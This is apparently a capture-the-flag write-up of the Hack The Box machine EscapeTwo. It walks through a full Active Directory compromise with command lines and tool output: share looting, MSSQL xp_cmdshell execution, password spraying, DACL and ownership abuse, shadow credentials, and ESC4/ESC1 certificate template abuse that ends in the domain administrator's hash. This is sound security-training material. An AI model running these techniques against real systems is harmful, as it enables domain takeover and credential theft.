This is a writeup of the machine EscapeTwo from HTB, itβs an easy difficulty Windows machine which featured credential hunting, MSSQL exploitation, as well as AD/ADCS shenanigans.
This was an assumed breach machine, so we start off with access to the domain with the credentials rose:KxEPkKe6R8su.
nmap -sV -sC -Pn 10.10.11.51 Nmap scan report for 10.10.11.51 Host is up (0.029s latency). Not shown: 988 filtered tcp ports (no-response) PORT STATE SERVICE VERSION 53/tcp open domain Simple DNS Plus 88/tcp open kerberos-sec Microsoft Windows Kerberos (server time: 2025-04-21 21:39:59Z) 135/tcp open msrpc Microsoft Windows RPC 139/tcp open netbios-ssn Microsoft Windows netbios-ssn 389/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: sequel.htb0., Site: Default-First-Site-Name) |_ssl-date: 2025-04-21T21:41:18+00:00; 0s from scanner time. | ssl-cert: Subject: commonName=DC01.sequel.htb | Subject Alternative Name: othername: 1.3.6.1.4.1.311.25.1::<unsupported>, DNS:DC01.sequel.htb | Not valid before: 2024-06-08T17:35:00 |_Not valid after: 2025-06-08T17:35:00 445/tcp open microsoft-ds? 464/tcp open kpasswd5? 593/tcp open ncacn_http Microsoft Windows RPC over HTTP 1.0 636/tcp open ssl/ldap Microsoft Windows Active Directory LDAP (Domain: sequel.htb0., Site: Default-First-Site-Name) |_ssl-date: 2025-04-21T21:41:18+00:00; 0s from scanner time. | ssl-cert: Subject: commonName=DC01.sequel.htb | Subject Alternative Name: othername: 1.3.6.1.4.1.311.25.1::<unsupported>, DNS:DC01.sequel.htb | Not valid before: 2024-06-08T17:35:00 |_Not valid after: 2025-06-08T17:35:00 1433/tcp open ms-sql-s Microsoft SQL Server 2019 15.00.2000.00; RTM |_ms-sql-info: ERROR: Script execution failed (use -d to debug) |_ms-sql-ntlm-info: ERROR: Script execution failed (use -d to debug) |_ssl-date: 2025-04-21T21:41:18+00:00; 0s from scanner time. | ssl-cert: Subject: commonName=SSL_Self_Signed_Fallback | Not valid before: 2025-04-21T10:02:31 |_Not valid after: 2055-04-21T10:02:31 3268/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: sequel.htb0., Site: Default-First-Site-Name) |_ssl-date: 2025-04-21T21:41:18+00:00; 0s from scanner time. | ssl-cert: Subject: commonName=DC01.sequel.htb | Subject Alternative Name: othername: 1.3.6.1.4.1.311.25.1::<unsupported>, DNS:DC01.sequel.htb | Not valid before: 2024-06-08T17:35:00 |_Not valid after: 2025-06-08T17:35:00 3269/tcp open ssl/ldap Microsoft Windows Active Directory LDAP (Domain: sequel.htb0., Site: Default-First-Site-Name) |_ssl-date: 2025-04-21T21:41:18+00:00; 0s from scanner time. | ssl-cert: Subject: commonName=DC01.sequel.htb | Subject Alternative Name: othername: 1.3.6.1.4.1.311.25.1::<unsupported>, DNS:DC01.sequel.htb | Not valid before: 2024-06-08T17:35:00 |_Not valid after: 2025-06-08T17:35:00 Service Info: Host: DC01; OS: Windows; CPE: cpe:/o:microsoft:windows
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ . Nmap done: 1 IP address (1 host up) scanned in 90.91 seconds
We have the generic windows SMB, LDAP, etc. as well as MSSQL. I went ahead and added sequel.htb and DC01.sequel.htb to my /etc/hosts file.
π SMB
I started off by checking out the shares accessible to Rose.
[*] Detected 1 hosts serving SMB [*] Established 1 SMB connections(s) and 1 authenticated session(s) [+] IP: 10.10.11.51:445 Name: DC01.sequel.htb Status: Authenticated Disk Permissions Comment ---- ----------- ------- Accounting Department READ ONLY ADMIN$ NO ACCESS Remote Admin C$ NO ACCESS Default share IPC$ READ ONLY Remote IPC NETLOGON READ ONLY Logon server share SYSVOL READ ONLY Logon server share Users READ ONLY [*] Closed 1 connections
Looks like we have access to Users, and Accounting Department.
Thereβs two files in the accounting share that we can grab.
1 2 3 4 5 6 7 8 9 10 11 12 13
smbclient --user=sequel.htb/rose%KxEPkKe6R8su '\\DC01.sequel.htb\Accounting Department\' Try "help" to get a list of possible commands. smb: \> dir . D 0 Sun Jun 9 06:52:21 2024 .. D 0 Sun Jun 9 06:52:21 2024 accounting_2024.xlsx A 10217 Sun Jun 9 06:14:49 2024 accounts.xlsx A 6780 Sun Jun 9 06:52:07 2024
6367231 blocks of size 4096. 912529 blocks available smb: \> get accounting_2024.xlsx getting file \accounting_2024.xlsx of size 10217 as accounting_2024.xlsx (76.2 KiloBytes/sec) (average 76.2 KiloBytes/sec) smb: \> get accounts.xlsx getting file \accounts.xlsx of size 6780 as accounts.xlsx (51.3 KiloBytes/sec) (average 63.8 KiloBytes/sec)
I tried opening these up in Excel, but theyβre corrupted/invalid. Since all Office documents are zip files containing the portions of the document, we can extract the file and manually try to find the content.
Within the accounts.xlsx/xl/sharedStrings.xml file I found a list of accounts and passwords (the other one was useless):
Notably here we have [email protected] - the admin account for MSSQL.
π» MSSQL
We can use Impacket to connect to the MSSQL server with the sa credentials from the Excel file.
1 2 3 4 5 6 7 8 9 10 11 12
mssqlclient.py 'sa:[SNIPPED]@DC01.sequel.htb' Impacket v0.12.0 - Copyright Fortra, LLC and its affiliated companies
[*] Encryption required, switching to TLS [*] ENVCHANGE(DATABASE): Old Value: master, New Value: master [*] ENVCHANGE(LANGUAGE): Old Value: , New Value: us_english [*] ENVCHANGE(PACKETSIZE): Old Value: 4096, New Value: 16192 [*] INFO(DC01\SQLEXPRESS): Line 1: Changed database context to 'master'. [*] INFO(DC01\SQLEXPRESS): Line 1: Changed language setting to us_english. [*] ACK: Result: 1 - Microsoft SQL Server (150 7208) [!] Press helpfor extra shell commands SQL (sa dbo@master)>
From here we should be able to use xp_cmdshell to get command execution as the SQL service account.
1 2 3 4 5 6 7 8 9
SQL (sa dbo@master)> enable_xp_cmdshell INFO(DC01\SQLEXPRESS): Line 185: Configuration option 'show advanced options' changed from1to1. Run the RECONFIGURE statement to install. INFO(DC01\SQLEXPRESS): Line 185: Configuration option 'xp_cmdshell' changed from0to1. Run the RECONFIGURE statement to install. SQL (sa dbo@master)> xp_cmdshell whoami output -------------- sequel\sql_svc
NULL
I served a simple PowerShell reverse shell to drop via xp_cmdshell
Now we have access to sql_svc - but not their credentials. I poked around with PrivescCheck and found nothing.
I ran Bloodhound to see if our user had any interesting rights in AD - but also found nothing.
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18
bloodhound-python -u rose -p KxEPkKe6R8su -d sequel.htb -c all -dc DC01.sequel.htb -ns 10.10.11.51 --zip INFO: Found AD domain: sequel.htb INFO: Getting TGT for user INFO: Connecting to LDAP server: DC01.sequel.htb INFO: Found 1 domains INFO: Found 1 domains in the forest INFO: Found 1 computers INFO: Connecting to LDAP server: DC01.sequel.htb INFO: Found 10 users INFO: Found 59 groups INFO: Found 2 gpos INFO: Found 1 ous INFO: Found 19 containers INFO: Found 0 trusts INFO: Starting computer enumeration with 10 workers INFO: Querying computer: DC01.sequel.htb INFO: Done in 00M 09S INFO: Compressing output into 20250421175236_bloodhound.zip
Hunting around the box I found C:\SQL2019\ExpressAdv_ENU which contained sql-Configuraton.INI and believe it or not cleartext credentials for sql_svc.
Since itβs HTB, and I was hitting a wall, I decided to spray our credentials. I made a list of all our users and credentials, and then sprayed over SMB with NetExec.
1 2 3 4 5 6 7 8 9 10 11 12 13 14
# Collecting users nxc smb DC01.sequel.htb -u rose -p KxEPkKe6R8su --users SMB 10.10.11.51 445 DC01 [*] Windows 10 / Server 2019 Build 17763 x64 (name:DC01) (domain:sequel.htb) (signing:True) (SMBv1:False) SMB 10.10.11.51 445 DC01 [+] sequel.htb\rose:KxEPkKe6R8su SMB 10.10.11.51 445 DC01 -Username- -Last PW Set- -BadPW- -Description- SMB 10.10.11.51 445 DC01 Administrator 2024-06-08 16:32:20 0 Built-in account for administering the computer/domain SMB 10.10.11.51 445 DC01 Guest 2024-12-25 14:44:53 0 Built-in account for guest access to the computer/domain SMB 10.10.11.51 445 DC01 krbtgt 2024-06-08 16:40:23 0 Key Distribution Center Service Account SMB 10.10.11.51 445 DC01 michael 2024-06-08 16:47:37 0 SMB 10.10.11.51 445 DC01 ryan 2024-06-08 16:55:45 0 SMB 10.10.11.51 445 DC01 oscar 2024-06-08 16:56:36 0 SMB 10.10.11.51 445 DC01 sql_svc 2024-06-09 07:58:42 0 SMB 10.10.11.51 445 DC01 rose 2024-12-25 14:44:54 0 SMB 10.10.11.51 445 DC01 ca_svc 2025-04-21 22:17:29 4
User Name SID =========== ============================================ sequel\ryan S-1-5-21-548670397-972687484-3496335370-1114
GROUP INFORMATION -----------------
Group Name Type SID Attributes =========================================== ================ ============================================ ================================================== Everyone Well-knowngroup S-1-1-0 Mandatory group, Enabled by default, Enabled group BUILTIN\Remote Management Users Alias S-1-5-32-580 Mandatory group, Enabled by default, Enabled group BUILTIN\Users Alias S-1-5-32-545 Mandatory group, Enabled by default, Enabled group BUILTIN\Pre-Windows2000 Compatible Access Alias S-1-5-32-554 Mandatory group, Enabled by default, Enabled group BUILTIN\Certificate Service DCOM Access Alias S-1-5-32-574 Mandatory group, Enabled by default, Enabled group NT AUTHORITY\NETWORK Well-knowngroup S-1-5-2 Mandatory group, Enabled by default, Enabled group NT AUTHORITY\Authenticated Users Well-knowngroup S-1-5-11 Mandatory group, Enabled by default, Enabled group NT AUTHORITY\This Organization Well-knowngroup S-1-5-15 Mandatory group, Enabled by default, Enabled group SEQUEL\Management Department Group S-1-5-21-548670397-972687484-3496335370-1602 Mandatory group, Enabled by default, Enabled group NT AUTHORITY\NTLM Authentication Well-knowngroup S-1-5-64-10 Mandatory group, Enabled by default, Enabled group Mandatory Label\Medium Plus Mandatory Level Label S-1-16-8448
PRIVILEGES INFORMATION ----------------------
Privilege Name Description State ============================= ============================== ======= SeMachineAccountPrivilege Add workstations to domain Enabled SeChangeNotifyPrivilege Bypass traverse checking Enabled SeIncreaseWorkingSetPrivilege Increase a process working set Enabled
USER CLAIMS INFORMATION -----------------------
User claims unknown.
Kerberos support for Dynamic Access Control on this device has been disabled.
Other than certificate services I didnβt seeing anything of immediate use - other than him being in the Management Department. Pivoting to Bloodhound, Ryan has some useful permissions over ca_svc.
We can use Impacket to make Ryan the owner of the ADCS service account, and then use our newfound permissions to gain access to the account.
Note: This part of the machine gets frequently reset due to a cleanup script running in the background. You may need to retry steps if things fail.
1 2 3 4 5 6 7 8 9 10 11 12
# Take ownership of CA_SVC w/Impacket owneredit.py -action write -new-owner 'ryan' -target 'ca_svc''sequel.htb'/'ryan':'[SNIPPED]' Impacket v0.12.0 - Copyright Fortra, LLC and its affiliated companies
# Same thing with bloodyAD if you're having trouble bloodyAD --host "[IP]" -d "sequel.htb" -u "ryan" -p "[SNIPPED]"set owner ca_svc ryan
Now as the owner of the CA account, we can give Ryan FullControl over the account.
1 2 3 4 5
dacledit.py -action 'write' -rights 'FullControl' -principal 'ryan' -target 'ca_svc''sequel.htb'/'ryan':'[SNIPPED]' Impacket v0.12.0 - Copyright Fortra, LLC and its affiliated companies
[*] DACL backed up to dacledit-20250421-192935.bak [*] DACL modified successfully!
From here we have a few options. The standard move would be to change the users password, but since this is a CA we can use whisker to add shadowcreds to the account if PKINIT is supported for authentication. This ends up being the way to go for this machine because it persists despite the cleanup script periodically resetting the account.
First we use whisker to add shadowcreds and get a certificate.
1 2 3 4 5 6 7 8 9 10 11 12
pywhisker -d sequel.htb -u ryan -p "[SNIPPED]" --target ca_svc --action add [*] Searching for the target account [*] Target user found: CN=Certification Authority,CN=Users,DC=sequel,DC=htb [*] Generating certificate [*] Certificate generated [*] Generating KeyCredential [*] KeyCredential generated with DeviceID: fce66861-087b-3d2a-3704-dd18fdd5dc7f [*] Updating the msDS-KeyCredentialLink attribute of ca_svc [+] Updated the msDS-KeyCredentialLink attribute of the target object [+] Saved PFX (#PKCS12) certificate & key at path: [CERT].pfx [*] Must be used with password: [PASSWORD] [*] A TGT can now be obtained with https://github.com/dirkjanm/PKINITtools
Next we can use certipy to remove the password from the certificate - this is needed because certipy canβt authenticate using a password-protected certificate.
1 2 3 4
certipy cert -export -pfx [CERT].pfx -password [PASSWORD] -out unprotected.pfx Certipy v4.8.2 - by Oliver Lyak (ly4k)
[*] Writing PFX to 'unprotected.pfx'
Lastly, we can use that to authenticate and grab the hash for CA_SVC.
1 2 3 4 5 6 7 8 9 10 11
certipy auth -pfx unprotected.pfx -dc-ip 10.10.11.51 -username 'ca_svc' -domain 'sequel.htb' Certipy v4.8.2 - by Oliver Lyak (ly4k)
[!] Could not find identification in the provided certificate [*] Using principal: [email protected] [*] Trying to get TGT...
[*] Got TGT [*] Saved credential cache to 'ca_svc.ccache' [*] Trying to retrieve NT hashfor'ca_svc' [*] Got hashfor'[email protected]': [SNIPPED]
πββ ESC4
Now as CA_SVC we can revisit ADCS. I started off by using certipy to find vulnerable templates.
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16
certipy find -vulnerable -u [email protected] -hashes :[SNIPPED] -dc-ip 10.10.11.51 Certipy v4.8.2 - by Oliver Lyak (ly4k)
[*] Finding certificate templates [*] Found 34 certificate templates [*] Finding certificate authorities [*] Found 1 certificate authority [*] Found 12 enabled certificate templates [*] Trying to get CA configuration for'sequel-DC01-CA' via CSRA [!] Got error while trying to get CA configuration for'sequel-DC01-CA' via CSRA: CASessionError: code: 0x80070005 - E_ACCESSDENIED - General access denied error. [*] Trying to get CA configuration for'sequel-DC01-CA' via RRP [!] Failed to connect to remote registry. Service should be starting now. Trying again... [*] Got CA configuration for'sequel-DC01-CA' [*] Saved BloodHound data to '20250421193758_Certipy.zip'. Drag and drop the file into the BloodHound GUI from @ly4k [*] Saved text output to '20250421193758_Certipy.txt' [*] Saved JSON output to '20250421193758_Certipy.json'
Checking out the resulting JSON thereβs an interesting DunderMifflinAuthentication template.
This template is vulnerable to ESC4. This means that members of the Cert Publishers have permissions over the template allowing them to rewrite the template to become vulnerable to ESC1.
If we check Bloodhound we can see that CA_SVC is in fact in the Cert Publishers group, allowing us to perform the attack.
First weβll rewrite the template making it vulnerable to ESC1.
1 2 3 4 5
certipy template -u [email protected] -hashes :[SNIPPED] -dc-ip 10.10.11.51 -template DunderMifflinAuthentication Certipy v4.8.2 - by Oliver Lyak (ly4k)
[+] Generating RSA key [*] Requesting certificate via RPC [+] Trying to connect to endpoint: ncacn_np:10.10.11.51[\pipe\cert] [+] Connected to endpoint: ncacn_np:10.10.11.51[\pipe\cert] [*] Successfully requested certificate [*] Request ID is 5 [*] Got certificate with UPN '[email protected]' [*] Certificate has no object SID [*] Saved certificate and private key to 'administrator.pfx'
Now we can authenticate with the certificate to grab the adminβs hash.
1 2 3 4 5 6 7 8 9
certipy auth -pfx 'administrator.pfx' -username 'administrator' -domain 'sequel.htb' -dc-ip 10.10.11.51 Certipy v4.8.2 - by Oliver Lyak (ly4k)
[*] Using principal: [email protected] [*] Trying to get TGT... [*] Got TGT [*] Saved credential cache to 'administrator.ccache' [*] Trying to retrieve NT hashfor'administrator' [*] Got hashfor'[email protected]': [SNIPPED]
From here we can WinRM in and grab the flag, YIPPEEEE!!!